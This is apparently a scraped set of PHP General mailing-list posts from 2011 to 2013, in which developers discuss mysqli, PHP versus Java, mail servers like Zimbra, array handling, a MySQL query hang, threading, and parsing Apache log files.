"locate mysqli" I've also followed with a sample script that I ran against the localhost database which returned 11 rows. These are the results of the locate command. /usr/include/php5/ext/mysqli /usr/include/php5/ext/mysqli/php_mysqli_structs.h /usr/lib/php5/20090626/mysqli.so /usr/share/man/man1/mysqlimport.1.gz /usr/share/php/.registry/mdb2_driver_mysqli.reg /usr/share/php/MDB2/Driver/mysqli.php /usr/share/php/MDB2/Driver/Datatype/mysqli.php /usr/share/php/MDB2/Driver/Function/mysqli.php /usr/share/php/MDB2/Driver/Manager/mysqli.php /usr/share/php/MDB2/Driver/Native/mysqli.php /usr/share/php/MDB2/Driver/Reverse/mysqli.php /usr/share/php/data/MDB2_Driver_mysqli /usr/share/php/data/MDB2_Driver_mysqli/package_mysqli.xml /usr/share/php/test/MDB2_Driver_mysqli /usr/share/php/test/MDB2_Driver_mysqli/tests /usr/share/php/test/MDB2_Driver_mysqli/tests/MDB2_nonstandard_mysqli.php connect_errno) { printf("Connect failed: %s\n", $conn->connect_error); exit(); } if ($result = $conn->query("SELECT * FROM user")){ printf("Select returned %d rows.\n", $result->num_rows); $result->close(); } Mind you I had a lot wrong with this script as I wrote it because I don't generally use mysqli directly and mysqli didn't complain about things being wrong. I thought that was a bit strange since I work mostly in Java these days and Java complains mercilessly about this that and the other thing. Curtis
Re: [PHP] Re: PHP vs JAVA
Sorry in advance for the top post. Use the right tool for the Job. I've use Java, C# and PHP. 1. I hate the Perl-like object calls in PHP. I'd rather use "." notation in C# and Java. It saves a lot of wear and tear on my left pinky finger. 2. Java and C# are both typed languages. Say what you want, but I have working with a string like "02" and have PHP convert that to an integer. sometimes I want that zero in front. If I want that to be an integer in Java it's "int myInteger = Integer.parseInt("02");" 3. Java development environments (Eclipses, NetBeans, IBM RAD) are pretty horrible. Visual Studio is hands down a better envrionment, even the older versions of it. I've hooked Visual Studio into SVN in the past and it works well. 4 PHP development environments are many and varied and all of them suck at web debugging. I've used PHPEdit, Zend, Bluefish, Eclipse and a couple others. Bluefish works better on Linux than it does on Windows. Use the tool for the job at hand. Just my $0.02 worth. cheers, Curtis Tim Streater wrote: > On 20 Aug 2013 at 23:59, PHP List wrote: > >> While I don't have any references to back it up - my guess would be >> that >> Java may be seen as more versatile in general programming terms. A >> staggering number of enterprise level web applications are built with >> Java, add to that the possibility of writing Android apps with the same >> knowledge. > > To me the salient point is, does java has as extensive a library or set of > interfaces to other packages (such as SQLite, mysql, etc)? > >> I would say that, in general, the other teacher is incorrect speaking >> strictly in terms of web development. PHP has already won that crown >> many times over. That said, when I was in University, it was difficult >> to find a programming class that taught anything but Java - and that >> was >> 10yrs ago now. I chalked it up to the education bubble not being able >> to see what the rest of the world is actually doing. > > Was PHP OOP-capable at the time? Perhaps the edu-bubble was simply looking > down its nose at PHP. There being lots of courses proves nothing in and of > itself. 20 years ago, there were lots of PC mags you could buy, which > caused some folks to say "look how much better the PC is supported than > other platforms". Truth was, at the time, such support was needed given > the mess of 640k limits, DOS, IRQs and the like, most of which issues have > ceased to be relevant. > > Anyway, why should one need a course to learn PHP, assuming you already > know other languages. It's simple enough. > > -- > Cheers -- Tim > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP vs JAVA
Sebastian Krebs wrote: > 2013/8/21 Curtis Maurand > >> >> >> >> Sorry in advance for the top post. >> >> Use the right tool for >> the Job. I've use Java, C# and PHP. >> >> 1. I hate the >> Perl-like object calls in PHP. I'd rather use "." notation >> in C# and Java. It saves a lot of wear and tear on my left pinky >> finger. >> > > Actually the problem is, that the dot "." is already in use. With > $foo.bar() you cannot tell, if you want to call the method "bar()" on the > object "$foo", or if you want to concatenate the value of "$foo" to the > result of the function "bar()". There is no other way around this than a > different operator for method calls. I didn't think of that. It seems to me there could be an easier operator than -> which sometimes will make me stop and look at what keys I'm trying to hit. Just a thought. I forgot about the concatenation operator which is "+" in Java/C# > > >> 2. Java and C# are both typed languages. Say what >> you want, but I have working with a string like "02" and have >> PHP convert that to an integer. sometimes I want that zero in >> front. If I want that to be an integer in Java it's "int >> myInteger = Integer.parseInt("02");" >> >> 3. >> Java development environments (Eclipses, NetBeans, IBM RAD) are pretty >> horrible. Visual Studio is hands down a better envrionment, even the >> older versions of it. I've hooked Visual Studio into SVN in the past and >> it works well. >> > > Ever tried the jetbrains products? :D (No, they don't pay me) I have not, but it looks interesting. I'll have to try it. > > >> >> 4 PHP development environments are many and >> varied and all of them suck at web debugging. I've used PHPEdit, >> Zend, Bluefish, Eclipse and a couple others. Bluefish works better >> on Linux than it does on Windows. >> > > I use PhpStorm and it works quite fine. > > >> >> Use the tool for the job at >> hand. >> >> Just my $0.02 worth. >> >> cheers, >> Curtis >> >> Tim Streater wrote: >> > On 20 Aug 2013 at 23:59, >> PHP List wrote: >> > >> >> >> While I don't have any references to back it up - my guess would be >> >> that >> >> Java may be seen as more versatile in >> general programming terms. A >> >> staggering number of >> enterprise level web applications are built with >> >> Java, add >> to that the possibility of writing Android apps with the same >> >> knowledge. >> > >> > To me the salient point is, >> does java has as extensive a library or set of >> > interfaces to >> other packages (such as SQLite, mysql, etc)? >> > >> >> I >> would say that, in general, the other teacher is incorrect speaking >> >> strictly in terms of web development. PHP has already won that >> crown >> >> many times over. That said, when I was in University, >> it was difficult >> >> to find a programming class that taught >> anything but Java - and that >> >> was >> >> 10yrs ago >> now. I chalked it up to the education bubble not being able >> >> >> to see what the rest of the world is actually doing. >> > >> > >> Was PHP OOP-capable at the time? Perhaps the edu-bubble was simply >> looking >> > down its nose at PHP. There being lots of courses proves >> nothing in and of >> > itself. 20 years ago, there were lots of PC >> mags you could buy, which >> > caused some folks to say "look >> how much better the PC is supported than >> > other platforms". >> Truth was, at the time, such support was needed given >> > the mess >> of 640k limits, DOS, IRQs and the like, most of which issues have >> > ceased to be relevant. >> > >> > Anyway, why should one >> need a course to learn PHP, assuming you already >> > know other >> languages. It's simple enough. >> > >> > -- >> > Cheers >> -- Tim >> > >> > -- >> > PHP General Mailing List >> (http://www.php.net/) >> > To unsubscribe, visit: >> http://www.php.net/unsub.php >> > > > > -- > github.com/KingCrunch >
Re: [PHP] Off the wall - sub-domain question
Is the subdomain also in a subfolder of the main domain? Jim Giner wrote: > I have a main domain (of course) and a sub domain. I'm really trying to > steer my personal stuff away from the main one and have focused all of > my php development to the sub-domain. > > Lately I noticed that google catalogs my sub-domain site stuff under the > main domain name and the links that come up lead to that domain name > with the path that takes the user to the sub-domain's home folder and > beyond. > > Is there something that php (apache??) can do to control either google's > robots or the user's view (url) so that it appears as a page of my > sub-domain? I'm really new at this stuff and know nothing. I'm lucky > that google is even finding my site! > > IN advance - I apologize for this off-topic question, but this place is > a source of much knowledge, so I just threw in a quick interlude here to > pick someone's brain. :) > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] Friday's Question
On 9/20/2013 1:24 PM, Joshua Kehn wrote: On Sep 20, 2013, at 1:23 PM, Larry Martell wrote: On Fri, Sep 20, 2013 at 11:16 AM, Joshua Kehn wrote: I'm in my 20's and rarely, if ever, use a dedicated mouse. I've transitioned to having all my workstations be laptops of one sort or another and they have built-in trackpads. Of course I also rarely use the mouse when there are so many keyboard shortcuts available. When I'm on my MacBook (which is most of the time) I use the trackpad. But in the unfortunate times I have to be on a Windows box I always connect a mouse. Slightly snobbish solution: Don't use windows. I'm agnostic when it comes to operating systems. I use Windows, Linux and Mac. I always go for a mouse. If the surface is really shiny, you'll need something under the mouse. In the case of a shiny surface, I've even used a piece of paper under the mouse in a pinch. I tend to use a mousepad in those cases, though. I'm not using one at home, but I do use one at work. It's a matter of taste. --jk -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Deleting elements from the middle of an array
how about creating two arrays, one empty one. pop the elements you want out of the first array and push them to the second. skip the push on the elements you don't want in the second array? Just a thought. --curtis Paul M Foster wrote: > On Mon, Mar 14, 2011 at 09:34:33PM +0100, Peter Lind wrote: > >> On 14 March 2011 21:31, Paul M Foster wrote: >> > Here's what I need to do: I have an indexed array, from which I need >> to >> > delete elements in the middle. Once completed, the indexes should be >> > numerically in sequence, as they were when I first encountered the >> > array. That is: >> > >> > Before: >> > $arr = array(0 => 5, 1 => 6, 2 => 7, 3 => 8, 4 => 9, 5 => 10); >> > >> > After: >> > $arr = array(0 => 5, 1 => 6, 2 => 9, 3 => 10); >> > >> > >> > I've tried: >> > >> > 1) Using for() with unset(). Elements are deleted, but the indexes are >> > no longer sequential. >> > >> > 2) Using for() with array_splice(). Understandably, deletes certain >> > elements but not others. >> > >> > 3) Using foreach() with referenced array elements. Neither unset() nor >> > array_splice() appear to have any effect on the array at all. >> > >> > 4) while() loop using current() and the like. But these array >> functions >> > return values, not references, so the array isn't actually modified. >> > >> > 5) array_walk() with unset() array_splice(). No effect on the array. >> > >> > Anyone know how to do this, or know of a reference on how to? >> > >> >> Remove the elements, then use sort(). > > I've given a simplified example. The actual target array is > multi-dimensional. Sort() won't work in a case like that, as far as I > know. Moreover, I don't want the array sorted based on the element > values. > > Paul > > -- > Paul M. Foster > http://noferblatz.com > http://quillandmouse.com > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] designing a post fix
In this case, I would take a look at dbmail (dbmail.org) It uses a SQL backend for storing messages and users. If you're just sending mail locally, but use the tables, etc. You'll need to build your own frontend, but you could use something like RoundCube or Squirrelmail to talk to it. I still like my Zimbra server idea, better for this. --Curtis Stuart Dallas wrote: > On Thursday, 17 March 2011 at 16:56, Negin Nickparsa wrote: > internal messaging system > > In that case it's simply a matter of creating a table structure to hold > the messages and building an interface that will display them and allow > new messages to be added, probably with email-based notifications. This is > fairly straightforward stuff, you just need to think about the elements > that make up a message, convert that list into a table structure, add some > metadata for unread, etc. > > > -Stuart > > -- > Stuart Dallas > 3ft9 Ltd > http://3ft9.com/ > > >> On Thu, Mar 17, 2011 at 8:16 PM, Stuart Dallas wrote: >> > On Thursday, 17 March 2011 at 15:23, Negin Nickparsa wrote: >> > i want 2 design a php web for staff members that can sign in with >> > > their accounts n then mail 2 each other i don't know how it really >> > > works by using a mail server i'm beginner at it! but i studied alot >> > > abt it. >> > >> > Are you talking about interfacing with email, or an internal messaging >> system? >> > >> > >> > -Stuart >> > >> > -- >> > Stuart Dallas >> > 3ft9 Ltd >> > http://3ft9.com/ >> > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] designing a post fix
I would suggest Zimbra. It just gets it done. Run it on Ubuntu Server or CentOS. --Curtis Negin Nickparsa wrote: > I'm Negin > what is Squirrel Mail ? > On Thu, Mar 17, 2011 at 7:55 PM, NetEmp wrote: >> @Nergin: are you trying to create an application like Squirrel Mail >> using >> PHP? >> >> On Thu, Mar 17, 2011 at 9:46 PM, Jason Pruim >> >> wrote: >>> >>> So what exactly is the question? >>> >>> >>> Jason Pruim >>> >>> On Mar 17, 2011, at 11:23 AM, Negin Nickparsa >>> wrote: >>> >>> > i want 2 design a php web for staff members that can sign in with >>> > their accounts n then mail 2 each other i don't know how it really >>> > works by using a mail server i'm beginner at it! but i studied alot >>> > abt it. >>> > >>> > -- >>> > PHP General Mailing List (http://www.php.net/) >>> > To unsubscribe, visit: http://www.php.net/unsub.php >>> > >>> >>> -- >>> PHP General Mailing List (http://www.php.net/) >>> To unsubscribe, visit: http://www.php.net/unsub.php >>> >> >> > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] designing a post fix
Zimbra Server. Negin Nickparsa wrote: > :( maybe it's ticketing i don't know exactly!!!:"( > here are the things that i must do: > > receiving mails and return of mails > showing emails 2 staff > when a mail received it can be viewed in a moment(like ajax) > drafts and upload and download from mail > determine mails due on > mails that replied and can be closed > searching special mail or special person > attachments > forwardings > digital signature(I know this one is very difficult! 98% I will ignore > this part) > management of meetings and calendar in my language! > private messaging > a period time for a reply of a mail (after time if it didn’t have > reply then close it) > settings for users > sending sms to that user when priod time is going 2 finish > making priority for emergency mails > > On Thu, Mar 17, 2011 at 9:21 PM, Negin Nickparsa > wrote: >> ok! stuart plz let me think to exactly tell u what i want! because i >> must make sentences more clear i know i have bad english sorry! >> i will tell u in a moment. >> > >> On Thu, Mar 17, 2011 at 9:16 PM, Stuart Dallas wrote: >>> On Thursday, 17 March 2011 at 17:25, Negin Nickparsa wrote: >>> but yes i need notifications now we use free application named osticket but it doesn't work very well I can change my codes because i have time what is your suggestion for me which one can better support my site? MTA or another free app? >>> >>> Negin, this is starting to become a conversation I usually charge for! >>> If you need help spec'ing and/or building a system I may be able to >>> help, but at the moment I'm unclear exactly what problem you're trying >>> to solve. If you need an email solution I suggest you use Google Apps. >>> If you need a ticketing system then there are lots of good options in >>> that area, and personally I think it would be a waste of effort to >>> start from scratch. If neither of those are what you're after, then I'm >>> lost. >>> >>> >>> -Stuart >>> >>> -- >>> Stuart Dallas >>> 3ft9 Ltd >>> http://3ft9.com/ >>> >>> On Thu, Mar 17, 2011 at 8:43 PM, Negin Nickparsa wrote: > when a user will be logged on he/she must have the messages just for > him self yeah? then i must have a column for the mails that he > recieved > 4 example select mail1 from users where user=user1 > > i got it right? > > On Thu, Mar 17, 2011 at 8:39 PM, Negin Nickparsa wrote: > > u mean i can have localhost mail service or not? > > > > On Thu, Mar 17, 2011 at 8:36 PM, Negin Nickparsa wrote: > > > i'll give all my users user n password will they be under the same > > > domain or not? > > > user1 has the domain gmail n user 2 ymail > > > or i can have all users the same thing like dpaco.net > > > this is our site==>dpaco.net > > > i want to build another part of it with php > > > > > > On Thu, Mar 17, 2011 at 8:30 PM, Stuart Dallas wrote: > > > > On Thursday, 17 March 2011 at 16:56, Negin Nickparsa wrote: > > > > internal messaging system > > > > > > > > In that case it's simply a matter of creating a table structure to hold the messages and building an interface that will display them and allow new messages to be added, probably with email-based notifications. This is fairly straightforward stuff, you just need to think about the elements that make up a message, convert that list into a table structure, add some metadata for unread, etc. > > > > > > > > > > > > -Stuart > > > > > > > > -- > > > > Stuart Dallas > > > > 3ft9 Ltd > > > > http://3ft9.com/ > > > > > > > > > > > > > On Thu, Mar 17, 2011 at 8:16 PM, Stuart Dallas wrote: > > > > > > On Thursday, 17 March 2011 at 15:23, Negin Nickparsa wrote: > > > > > > i want 2 design a php web for staff members that can sign in with > > > > > > > their accounts n then mail 2 each other i don't know how it really > > > > > > > works by using a mail server i'm beginner at it! but i studied alot > > > > > > > abt it. > > > > > > > > > > > > Are you talking about interfacing with email, or an internal messaging system? > > > > > > > > > > > > > > > > > > -Stuart > > > > > > > > > > > > -- > > > > > > Stuart Dallas > > > > > > 3ft9 Ltd > > > > > > http://3ft9.com/ >>> >>> >> > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] designing a post fix
Its a free exchange server replacement. It has shared folders, shared documents, email, calendars, shared calendars, notifications, etc. etc. etc. http://www.zimbra.com --Curtis Negin Nickparsa wrote: > can u explain zimbra server 4 me? > > On Thu, Mar 17, 2011 at 9:44 PM, Curtis Maurand > wrote: >> >> Zimbra Server. >> >> Negin Nickparsa wrote: >>> :( maybe it's ticketing i don't know exactly!!!:"( >>> here are the things that i must do: >>> >>> receiving mails and return of mails >>> showing emails 2 staff >>> when a mail received it can be viewed in a moment(like ajax) >>> drafts and upload and download from mail >>> determine mails due on >>> mails that replied and can be closed >>> searching special mail or special person >>> attachments >>> forwardings >>> digital signature(I know this one is very difficult! 98% I will ignore >>> this part) >>> management of meetings and calendar in my language! >>> private messaging >>> a period time for a reply of a mail (after time if it didn’t have >>> reply then close it) >>> settings for users >>> sending sms to that user when priod time is going 2 finish >>> making priority for emergency mails >>> >>> On Thu, Mar 17, 2011 at 9:21 PM, Negin Nickparsa >>> wrote: >>>> ok! stuart plz let me think to exactly tell u what i want! because i >>>> must make sentences more clear i know i have bad english sorry! >>>> i will tell u in a moment. >>>> >>> >>>> On Thu, Mar 17, 2011 at 9:16 PM, Stuart Dallas >>>> wrote: >>>>> On Thursday, 17 March 2011 at 17:25, Negin Nickparsa wrote: >>>>> but yes i need notifications >>>>>> now we use free application named osticket but it doesn't work very >>>>>> well >>>>>> I can change my codes because i have time >>>>>> what is your suggestion for me which one can better support my site? >>>>>> MTA or another free app? >>>>> >>>>> Negin, this is starting to become a conversation I usually charge >>>>> for! >>>>> If you need help spec'ing and/or building a system I may be able to >>>>> help, but at the moment I'm unclear exactly what problem you're >>>>> trying >>>>> to solve. If you need an email solution I suggest you use Google >>>>> Apps. >>>>> If you need a ticketing system then there are lots of good options in >>>>> that area, and personally I think it would be a waste of effort to >>>>> start from scratch. If neither of those are what you're after, then >>>>> I'm >>>>> lost. >>>>> >>>>> >>>>> -Stuart >>>>> >>>>> -- >>>>> Stuart Dallas >>>>> 3ft9 Ltd >>>>> http://3ft9.com/ >>>>> >>>>> >>>>>> On Thu, Mar 17, 2011 at 8:43 PM, Negin Nickparsa >>>>>> >>>>>> wrote: >>>>>> > when a user will be logged on he/she must have the messages just >>>>>> for >>>>>> > him self yeah? then i must have a column for the mails that he >>>>>> > recieved >>>>>> > 4 example select mail1 from users where user=user1 >>>>>> > >>>>>> > i got it right? >>>>>> > >>>>>> > On Thu, Mar 17, 2011 at 8:39 PM, Negin Nickparsa >>>>>> wrote: >>>>>> > > u mean i can have localhost mail service or not? >>>>>> > > >>>>>> > > On Thu, Mar 17, 2011 at 8:36 PM, Negin Nickparsa >>>>>> wrote: >>>>>> > > > i'll give all my users user n password will they be under the >>>>>> same >>>>>> > > > domain or not? >>>>>> > > > user1 has the domain gmail n user 2 ymail >>>>>> > > > or i can have all users the same thing like dpaco.net >>>>>> > > > this is our site==>dpaco.net >>>>>> > > > i want to build another part of it with php >>>>>> > > > >>>>>> > > > On Thu, Mar 17, 2011 at 8:30 PM, Stuart Dallas >>>>>> >>>>>>
Re: [PHP] designing a post fix
You might also look at CRM applications such as Sugar CRM. --Curtis Negin Nickparsa wrote: > can u explain zimbra server 4 me? > > On Thu, Mar 17, 2011 at 9:44 PM, Curtis Maurand > wrote: >> >> Zimbra Server. >> >> Negin Nickparsa wrote: >>> :( maybe it's ticketing i don't know exactly!!!:"( >>> here are the things that i must do: >>> >>> receiving mails and return of mails >>> showing emails 2 staff >>> when a mail received it can be viewed in a moment(like ajax) >>> drafts and upload and download from mail >>> determine mails due on >>> mails that replied and can be closed >>> searching special mail or special person >>> attachments >>> forwardings >>> digital signature(I know this one is very difficult! 98% I will ignore >>> this part) >>> management of meetings and calendar in my language! >>> private messaging >>> a period time for a reply of a mail (after time if it didn’t have >>> reply then close it) >>> settings for users >>> sending sms to that user when priod time is going 2 finish >>> making priority for emergency mails >>> >>> On Thu, Mar 17, 2011 at 9:21 PM, Negin Nickparsa >>> wrote: >>>> ok! stuart plz let me think to exactly tell u what i want! because i >>>> must make sentences more clear i know i have bad english sorry! >>>> i will tell u in a moment. >>>> >>> >>>> On Thu, Mar 17, 2011 at 9:16 PM, Stuart Dallas >>>> wrote: >>>>> On Thursday, 17 March 2011 at 17:25, Negin Nickparsa wrote: >>>>> but yes i need notifications >>>>>> now we use free application named osticket but it doesn't work very >>>>>> well >>>>>> I can change my codes because i have time >>>>>> what is your suggestion for me which one can better support my site? >>>>>> MTA or another free app? >>>>> >>>>> Negin, this is starting to become a conversation I usually charge >>>>> for! >>>>> If you need help spec'ing and/or building a system I may be able to >>>>> help, but at the moment I'm unclear exactly what problem you're >>>>> trying >>>>> to solve. If you need an email solution I suggest you use Google >>>>> Apps. >>>>> If you need a ticketing system then there are lots of good options in >>>>> that area, and personally I think it would be a waste of effort to >>>>> start from scratch. If neither of those are what you're after, then >>>>> I'm >>>>> lost. >>>>> >>>>> >>>>> -Stuart >>>>> >>>>> -- >>>>> Stuart Dallas >>>>> 3ft9 Ltd >>>>> http://3ft9.com/ >>>>> >>>>> >>>>>> On Thu, Mar 17, 2011 at 8:43 PM, Negin Nickparsa >>>>>> >>>>>> wrote: >>>>>> > when a user will be logged on he/she must have the messages just >>>>>> for >>>>>> > him self yeah? then i must have a column for the mails that he >>>>>> > recieved >>>>>> > 4 example select mail1 from users where user=user1 >>>>>> > >>>>>> > i got it right? >>>>>> > >>>>>> > On Thu, Mar 17, 2011 at 8:39 PM, Negin Nickparsa >>>>>> wrote: >>>>>> > > u mean i can have localhost mail service or not? >>>>>> > > >>>>>> > > On Thu, Mar 17, 2011 at 8:36 PM, Negin Nickparsa >>>>>> wrote: >>>>>> > > > i'll give all my users user n password will they be under the >>>>>> same >>>>>> > > > domain or not? >>>>>> > > > user1 has the domain gmail n user 2 ymail >>>>>> > > > or i can have all users the same thing like dpaco.net >>>>>> > > > this is our site==>dpaco.net >>>>>> > > > i want to build another part of it with php >>>>>> > > > >>>>>> > > > On Thu, Mar 17, 2011 at 8:30 PM, Stuart Dallas >>>>>> >>>>>> wrote: >>>>>> > > > > On Thursday, 17 March 2011 at 16:56, Negin Nickparsa wrote: >>>
Re: [PHP] Question about directory permissions
Al wrote: > I understand dir perms pretty well; but, have a question I can't readily > find > the answer to. > > Under a Linux system, scripts can't write, copy, etc. to other dirs unless > the > perms are set for writable for the script e.g., nobody. > > But, is there a way a script can write or copy within its own dir? > Not unless it has permission to do so. Most likely, however, it can write to the temp space such as /tmp or /var/tmp. --Curtis
[PHP] PHP hangs with empty result set
I've been having a problem when querying a database with php and the mysql library the offending code follows. If the result is an empty set, PHP hangs. I've had to add code to the script to set up a max execution time to kill the script after 30 seconds if it doesn't complete. This is happening on a very busy site and in the past, it has brought the server to its knees. The code that follows is actual code copied and pasted from the script. I've trie wrapping an "if ($result_2) {...}: and "if (mysql_num_rows($result_2) > 0) { ..}" around the while loop and it's made no difference. thanks in advance, Curtis $dbhandle2 = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL"; //select a database to work with $selected = mysql_select_db("database",$dbhandle2) or die("Could not select examples"); while ($_parent !="0") { $result_2 = mysql_query("SELECT catagory_parent FROM t_catagories where catagory_ID=" .$_parent); $num_rows_2 = mysql_num_rows($result_2); if($num_rows_2 > "0") { while ($row = mysql_fetch_array($result_2)) { $_parent= $row{'catagory_parent'}; $_parents[$counter] = $row{'catagory_parent'}; $counter++; } } } mysql_close($dbhandle2);
Re: [PHP] PHP hangs with empty result set
> The only obvious thing that I can see is that you're checking if the > number of results is greater than a string, not a number. I believe PHP > automagically converts it into an integer for the comparison, but try > changing it to an actual integer and seeing if that resolves it. > > There is one other time you use a zero in quotes like that, but without > seeing the rest of the code it's impossible to tell whether this would > be causing an issue. Check to see if you really do want to compare the > string value. Again, this should be automatically converted by PHP, but > there are cases where the conversion isn't what you might expect. > the dropped quote was a typo. I'm good at that. > Lastly, I noticed you're using curly braces instead of square brackets > to reference the $row array values. Was this just a typo or your actual > code? Array elements really should be referenced by square brackets. > I made the change from the curly braces. I didn't actually write the code. I'm thinking of re-writing this code using the PEAR MDB2 libraries and mysqli. Would that help? --Curtis
Re: [PHP] xinetd vs php socket server
Nathan Nobbe wrote: > On Mon, Mar 28, 2011 at 3:34 PM, Bostjan Skufca wrote: > >> If you need high performance you probably already know that it will be >> very >> expensive CPU wise if workers are spawned on each request. If you don't, >> I >> would not bother with daemon and just use xinetd. You can always add >> daemon-handling stuff later on. >> >> Well I do hope you find a good working solution with as little >> inconvenience as possible, >> b. > > > hmm, wouldn't both the solutions most likely be forking? php daemon would > fork since threading isn't supported, and xinetd, probly best to have it > fork for the same reason apache is typically configured to fork. right? Speak for yourself. I've always configured my systems to thread. Since IBM rewrote the threading library several years back (NPTL), Theading works. I use the threading version of apache and threading is enabled in PHP. It works pretty well until its under attack by the spammers. --Curtis
Re: [PHP] xinetd vs php socket server
I have a machine with several websites one of which is quite busy this time of year. I have another that had its joomla comments on and open and the spammers found it. They managed to get 700,000 comments into the system before we caught it, but the traffic and strain on the MySQL server and the webserver (PHP) while it was going on brought the server to its knees. I've put some iptables rules in to block the attacks and things are back to normal. The server (A vmware VM w/ 2 CPU and 2 GB of RAM) never crashed, but it certainly was on its knees. The distribution is Gentoo 10.1. My only other problem is PHP hanging on MySQL returning an emtpy set.(mysql_num_rows = 0). That 's a whole other issue and off of this topic. --C Bostjan Skufca wrote: > "It works pretty well until its under attack by the spammers." > > Can you elaborate/explain further? > > b. > > > On 29 March 2011 01:14, Curtis Maurand wrote: > >> >> >> Nathan Nobbe wrote: >> > On Mon, Mar 28, 2011 at 3:34 PM, Bostjan Skufca >> wrote: >> > >> >> If you need high performance you probably already know that it will >> be >> >> very >> >> expensive CPU wise if workers are spawned on each request. If you >> don't, >> >> I >> >> would not bother with daemon and just use xinetd. You can always add >> >> daemon-handling stuff later on. >> >> >> >> Well I do hope you find a good working solution with as little >> >> inconvenience as possible, >> >> b. >> > >> > >> > hmm, wouldn't both the solutions most likely be forking? php daemon >> would >> > fork since threading isn't supported, and xinetd, probly best to have >> it >> > fork for the same reason apache is typically configured to fork. >> right? >> >> Speak for yourself. I've always configured my systems to thread. Since >> IBM rewrote the threading library several years back (NPTL), Theading >> works. I use the threading version of apache and threading is enabled >> in >> PHP. >> >> It works pretty well until its under attack by the spammers. >> >> --Curtis >
Re: [PHP] pick a card, any card...
seems to me that you have an array with integers as the keys. $desired_key = rand(0, count($array)); $desired_value = $array[$desired_key]; Cheers, Curtis Simon J Welsh wrote: > On 9/04/2011, at 3:39 PM, Scotty Logan wrote: > >> On Apr 8, 2011, at 8:20 PM, Kirk Bailey wrote: >>> in otherwords, the entire idea of picking one of N objects, whatever >>> they are- strings, numbers, gummybears, lined up in a listing, and >>> return the one item selected. This seems a common enough function there >>> should be a simple way to do it already in php. HOWEVER, I ain't >>> findin' it that way, no sir/maam/other. >>> Maybe I am missing the obvious SIMPLE way to get the job done. So if we >>> have a listing of foo's, we can title this $listing, and we want 1 of >>> them to be returned, we should see something like: >>> randmember($listing) >> >> array_rand() - it's already built-in - >> http://php.net/manual/en/function.array-rand.php >> >> Scotty > > Just note that array_rand() returns a random (or an array of random) > key(s), not the values. > --- > Simon Welsh > Admin of http://simon.geek.nz/ > > Who said Microsoft never created a bug-free program? The blue screen > never, ever crashes! > > http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > >
Re: [PHP] pick a card, any card...
Curtis Maurand wrote: > > > > seems to me that you have an array with integers as the keys. > > $desired_key = rand(0, count($array)); sorry, I hadn't had coffee, yet. The line above should be: $desired_key = rand(0, count($array) - 1); > > $desired_value => $array[$desired_key]; > > Cheers, > Curtis > > Simon J Welsh wrote: >> On 9/04/2011, at 3:39 PM, Scotty Logan > wrote: >> >>> On Apr 8, 2011, at 8:20 PM, Kirk Bailey > wrote: >>>> in otherwords, the entire idea of picking one of > N objects, whatever >>>> they are- strings, numbers, > gummybears, lined up in a listing, and >>>> return the one > item selected. This seems a common enough function there >>>> > should be a simple way to do it already in php. HOWEVER, I ain't >>>> findin' it that way, no sir/maam/other. >>>> > Maybe I am missing the obvious SIMPLE way to get the job done. So if we >>>> have a listing of foo's, we can title this $listing, and we > want 1 of >>>> them to be returned, we should see something > like: >>>> randmember($listing) >>> >>> > array_rand() - it's already built-in - >>> > http://php.net/manual/en/function.array-rand.php >>> >>> Scotty >> >> Just note that array_rand() > returns a random (or an array of random) >> key(s), not the > values. >> --- >> Simon Welsh >> Admin of > http://simon.geek.nz/ >> >> Who said Microsoft never > created a bug-free program? The blue screen >> never, ever > crashes! >> >> > http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e >> >> >> -- >> PHP General Mailing List > (http://www.php.net/) >> To unsubscribe, visit: > http://www.php.net/unsub.php >> >> >
[PHP] Silly question
Hello, I'm trying to run through an apache log file in an attempt to get all of the user agents. The question is how do I split the string? I can't seem to find a workable delimiter. Each section of the file is enclosed in quotes and that should be helpful, but it doesn't seem to be. I can't seem to set the delimiter to '" "' I can't seem to find any good examples, either. I can't split on spaces, because the user agents generally have spaces in them. I was trying to use explode. print_r(explode('" "', $line); Any help would be appreciated. thanks, Curtis
Re: [PHP] Silly question
nevermind. There is a function: fgetcsv(); Thanks, Curtis Curtis Maurand wrote: > > > Hello, > I'm trying to run through an apache log file in an attempt to > get all of the user agents. > > The question is how do I split the > string? I can't seem to find a workable delimiter. Each > section of the file is enclosed in quotes and that should be helpful, but > it doesn't seem to be. I can't seem to set the delimiter to '" "' I can't > seem to find any good > examples, either. > > I can't split on spaces, because the user > agents generally have spaces in them. > > I was trying to use > explode. > > print_r(explode('" "', $line); > > Any help > would be appreciated. > thanks, > Curtis >
Re: [PHP] Silly question
Stuart Dallas wrote: > On Monday, 11 April 2011 at 02:12, Curtis Maurand wrote: > nevermind. There is a function: fgetcsv(); > > Ewww! Say what you want, it works. Your solution is way more elegant. regex's are not my strong suit. I have to have the regex pocket reference to understand that regex that's in there. However, the fgetcsv breaks it up into a few chunks and I have to break up the first chunk, but that's space delimited, so its not so bad. I'll probably use yours. Thanks for the class. > > http://blog.ericlamb.net/2010/01/parse-apache-log-files-with-php/ > > -Stuart > > -- > Stuart Dallas > 3ft9 Ltd > http://3ft9.com/ > > >> Curtis Maurand wrote: >> > >> > >> > Hello, >> > I'm trying to run through an apache log >> file in an attempt to >> > get all of the user agents. >> > >> > The question is how do I split the >> > string? I can't >> seem to find a workable delimiter. Each >> > section of the >> file is enclosed in quotes and that should be helpful, but >> > it >> doesn't seem to be. I can't seem to set the delimiter to '" >> "' I can't >> > seem to find any good >> > examples, >> either. >> > >> > I can't split on spaces, because the user >> > agents 